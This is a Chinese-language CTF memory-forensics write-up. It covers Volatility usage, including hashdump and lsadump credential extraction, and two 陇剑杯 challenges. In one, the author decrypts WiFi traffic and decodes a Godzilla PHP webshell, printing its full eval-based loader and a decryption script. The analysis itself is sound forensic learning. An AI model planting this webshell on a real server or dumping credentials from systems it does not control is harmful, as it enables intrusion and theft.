最近的CTF遇到了内存取证题,之前没有系统学习过,赛后来补一波笔记
工具
Volatility简介
Volatility是一款开源的,基于Python开发的内存取证工具集,可以分析内存中的各种数据。Volatility支持对32位或64位Windows、Linux、Mac、Android操作系统的RAM数据进行提取与分析。
安装
kali自带这个工具,但我的kali 2019.4没有(可能是因为mini安装),因此自己在windows上折腾了一下安装,推荐下载官方打包的可执行文件版,源码版的虽然也能用,但是需要自己安装第三方依赖库,distorm3这个依赖库安装起来比较麻烦。
基础使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| volatility -f <filename> imageinfo
volatility -f <filename> --profile <ostype>
volatility -f <filename> --profile <ostype> pslist
volatility -f <filename> --profile <ostype> filescan | grep -E "txt|xml|png|jpg|gif|zip|rar|7z|pdf|doc|docx|php|py|flag"
volatility -f <filename> --profile <ostype> filescan | grep -E "Desktop"
volatility -f <filename> --profile <ostype> dumpfiles -Q <virtual address> -D <savedir>
volatility -f <filename> --profile <ostype> printkey -K "SAM\Domains\Account\Users\Names"
volatility -f <filename> --profile <ostype> hivelist
volatility -f <filename> --profile <ostype> hashdump -y <注册表 system 的 virtual 地址> -s <SAM 的 virtual 地址>
volatility -f <filename> --profile <ostype> iehistory
volatility -f <filename> --profile <ostype> netscan
volatility -f <filename> --profile <ostype> memdump -p <pid> -D <savedir>
volatility -f <filename> --profile <ostype> cmdscan
volatility -f <filename> --profile <ostype> cmdline
|
支持的插件列表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
| amcache apihooks atoms atomscan auditpol bigpools bioskbd cachedump callbacks clipboard cmdline cmdscan connections connscan consoles crashinfo deskscan devicetree dlldump dlllist driverirp drivermodule driverscan dumpcerts dumpfiles dumpregistry editbox envars eventhooks evtlogs filescan gahti gditimers gdt getservicesids getsids handles hashdump hibinfo hivedump hivelist hivescan hpakextract hpakinfo idt iehistory imagecopy imageinfo impscan joblinks kdbgscan kpcrscan ldrmodules lsadump machoinfo malfind mbrparser memdump memmap messagehooks mftparser moddump modscan modules multiscan mutantscan notepad objtypescan patcher poolpeek printkey privs procdump pslist psscan pstree psxview qemuinfo raw2dmp screenshot servicediff sessions shellbags shimcache shutdowntime sockets sockscan ssdt strings svcscan symlinkscan thrdscan threads timeliner timers truecryptmaster truecryptpassphrase truecryptsummary unloadedmodules userassist userhandles vaddump vadinfo vadtree vadwalk vboxinfo verinfo vmwareinfo volshell windows wintree wndscan yarascan
|
实战题目
陇剑杯内存分析
查看操作系统类型
这题各种操作都尝试了一遍没什么发现,后来根据提示才发现lsadump可直接获取flag
安装mimikatz插件后,直接获取密码/flag
查看文件的时候发现桌面上有一个HUAWEI的可执行文件
dump下来
修改文件后缀位exe后打开发现是winrar自解压文件,解压得到
通过搜索发现是华为手机助手备份文件,在github发现解密脚本:
https://github.com/RealityNet/kobackupdec
需要输入密码,现在只有之前获取的flag可以试试,结合tips.txt
的提示no space but underline
,密码应该是:W31C0M3_T0_THiS_34SY_F0R3NSiCX
查看解密的图片获取flag
陇剑杯Wifi
查看操作系统类型
查看可疑文件
dump这两个文件,解压My_Wifi.zip
,发现需要密码
winhex查看压缩包发现提示
在怎么获取guid这个问题上卡了很久,一直以为是从注册表获取,但是找了注册表常见的一些位置都没有发现网络适配器的guid。后来看了雪殇的wp,发现原来直接查看文件找Interfaces
就可以…
.\volatility.exe -f "Windows 7-dde00fa9.vmem" --profile Win7SP1x86 filescan | grep Interfaces
解压密码需要guid和{}
一起输入,解压后得到密码
这里没发现客户端.cap
是加密的,因为没见过这种题,知识盲区,太菜了
加密后的客户端.cap
:
用airdecap-ng
进行解密,密码为之前发现的密码
-e SSID
查看服务端流量,直接看http
结合后续两个请求,可以确认为哥斯拉shell初始化的流量特征,urldecode-翻转-base64decode后得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| @session_start(); @set_time_limit(0); @error_reporting(0); function encode($D,$K){ for($i=0;$i<strlen($D);$i++) { $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; } return $D; } $pass='key'; $payloadName='payload'; $key='3c6e0b8a9c15224a'; if (isset($_POST[$pass])){ $data=encode(base64_decode($_POST[$pass]),$key); if (isset($_SESSION[$payloadName])){ $payload=encode($_SESSION[$payloadName],$key); eval($payload); echo substr(md5($pass.$key),0,16); echo base64_encode(encode(@run($data),$key)); echo substr(md5($pass.$key),16); }else{ if (stripos($data,"getBasicsInfo")!==false){ $_SESSION[$payloadName]=encode($data,$key); } } }
|
哥斯拉的加密函数和解密函数相同
查看解密后的客户端流量,找到客户端返回结果:哥斯拉初始化shell的下一个tcp流
解密响应内容,只需解密首尾16位md5以外的内容,即哥斯拉的输出内容:fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=
哥斯拉输出结果是将结果使用gzencode压缩后加密
1 2
| $result=gzencode($result,6); echo base64_encode(encode(@run($data),$key));
|
解密脚本如下
1 2 3 4 5 6 7 8 9 10 11
| <?php function encode($D,$K){ for($i=0;$i<strlen($D);$i++) { $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; } return $D; }
$tmp = 'fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU='; echo gzdecode(encode(base64_decode($tmp),'3c6e0b8a9c15224a'));
|
解密后即可获取flag
参考链接
内存取证(总结篇)
陇剑杯wp
哥斯拉流量特征